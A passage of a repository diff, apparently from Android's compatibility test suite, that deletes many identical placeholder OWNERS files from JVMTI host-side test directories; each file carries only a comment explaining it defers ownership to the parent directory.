@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1934/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1934/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1934/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1936/OWNERS b/hostsidetests/jvmti/run-tests/test-1936/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1936/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1936/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1936/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1936/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1937/OWNERS b/hostsidetests/jvmti/run-tests/test-1937/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1937/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1937/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1937/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1937/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1939/OWNERS b/hostsidetests/jvmti/run-tests/test-1939/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1939/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1939/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1939/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1939/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1941/OWNERS b/hostsidetests/jvmti/run-tests/test-1941/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1941/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1941/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1941/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1941/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1942/OWNERS b/hostsidetests/jvmti/run-tests/test-1942/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1942/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1942/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1942/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1942/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1943/OWNERS b/hostsidetests/jvmti/run-tests/test-1943/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1943/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1943/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1943/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1943/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1953/OWNERS b/hostsidetests/jvmti/run-tests/test-1953/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1953/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1953/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1953/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1953/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1958/OWNERS b/hostsidetests/jvmti/run-tests/test-1958/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1958/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1958/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1958/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1958/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-902/OWNERS b/hostsidetests/jvmti/run-tests/test-902/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-902/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-902/app/OWNERS b/hostsidetests/jvmti/run-tests/test-902/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-902/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-903/OWNERS b/hostsidetests/jvmti/run-tests/test-903/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-903/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-903/app/OWNERS b/hostsidetests/jvmti/run-tests/test-903/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-903/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-904/OWNERS b/hostsidetests/jvmti/run-tests/test-904/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-904/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-904/app/OWNERS b/hostsidetests/jvmti/run-tests/test-904/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-904/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-905/OWNERS b/hostsidetests/jvmti/run-tests/test-905/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-905/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-905/app/OWNERS b/hostsidetests/jvmti/run-tests/test-905/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-905/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-906/OWNERS b/hostsidetests/jvmti/run-tests/test-906/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-906/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-906/app/OWNERS b/hostsidetests/jvmti/run-tests/test-906/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-906/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-907/OWNERS b/hostsidetests/jvmti/run-tests/test-907/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-907/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-907/app/OWNERS b/hostsidetests/jvmti/run-tests/test-907/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-907/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-908/OWNERS b/hostsidetests/jvmti/run-tests/test-908/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-908/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-908/app/OWNERS b/hostsidetests/jvmti/run-tests/test-908/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-908/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-910/OWNERS b/hostsidetests/jvmti/run-tests/test-910/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-910/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-910/app/OWNERS b/hostsidetests/jvmti/run-tests/test-910/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-910/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-911/OWNERS b/hostsidetests/jvmti/run-tests/test-911/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-911/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-911/app/OWNERS b/hostsidetests/jvmti/run-tests/test-911/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-911/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-912/OWNERS b/hostsidetests/jvmti/run-tests/test-912/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-912/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-912/app/OWNERS b/hostsidetests/jvmti/run-tests/test-912/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-912/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-913/OWNERS b/hostsidetests/jvmti/run-tests/test-913/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-913/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-913/app/OWNERS b/hostsidetests/jvmti/run-tests/test-913/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-913/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-914/OWNERS b/hostsidetests/jvmti/run-tests/test-914/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-914/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-914/app/OWNERS b/hostsidetests/jvmti/run-tests/test-914/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-914/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-915/OWNERS b/hostsidetests/jvmti/run-tests/test-915/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-915/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-915/app/OWNERS b/hostsidetests/jvmti/run-tests/test-915/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-915/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-917/OWNERS b/hostsidetests/jvmti/run-tests/test-917/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-917/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-917/app/OWNERS b/hostsidetests/jvmti/run-tests/test-917/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-917/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-918/OWNERS b/hostsidetests/jvmti/run-tests/test-918/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-918/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-918/app/OWNERS b/hostsidetests/jvmti/run-tests/test-918/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-918/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-919/OWNERS b/hostsidetests/jvmti/run-tests/test-919/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-919/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-919/app/OWNERS b/hostsidetests/jvmti/run-tests/test-919/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-919/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-920/OWNERS b/hostsidetests/jvmti/run-tests/test-920/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-920/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-920/app/OWNERS b/hostsidetests/jvmti/run-tests/test-920/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-920/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-922/OWNERS b/hostsidetests/jvmti/run-tests/test-922/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-922/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-922/app/OWNERS b/hostsidetests/jvmti/run-tests/test-922/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-922/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-923/OWNERS b/hostsidetests/jvmti/run-tests/test-923/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-923/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-923/app/OWNERS b/hostsidetests/jvmti/run-tests/test-923/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-923/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-924/OWNERS b/hostsidetests/jvmti/run-tests/test-924/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-924/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-924/app/OWNERS b/hostsidetests/jvmti/run-tests/test-924/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-924/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-926/OWNERS b/hostsidetests/jvmti/run-tests/test-926/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-926/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-926/app/OWNERS b/hostsidetests/jvmti/run-tests/test-926/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-926/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-927/OWNERS b/hostsidetests/jvmti/run-tests/test-927/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-927/OWNERS
+++ /dev/null
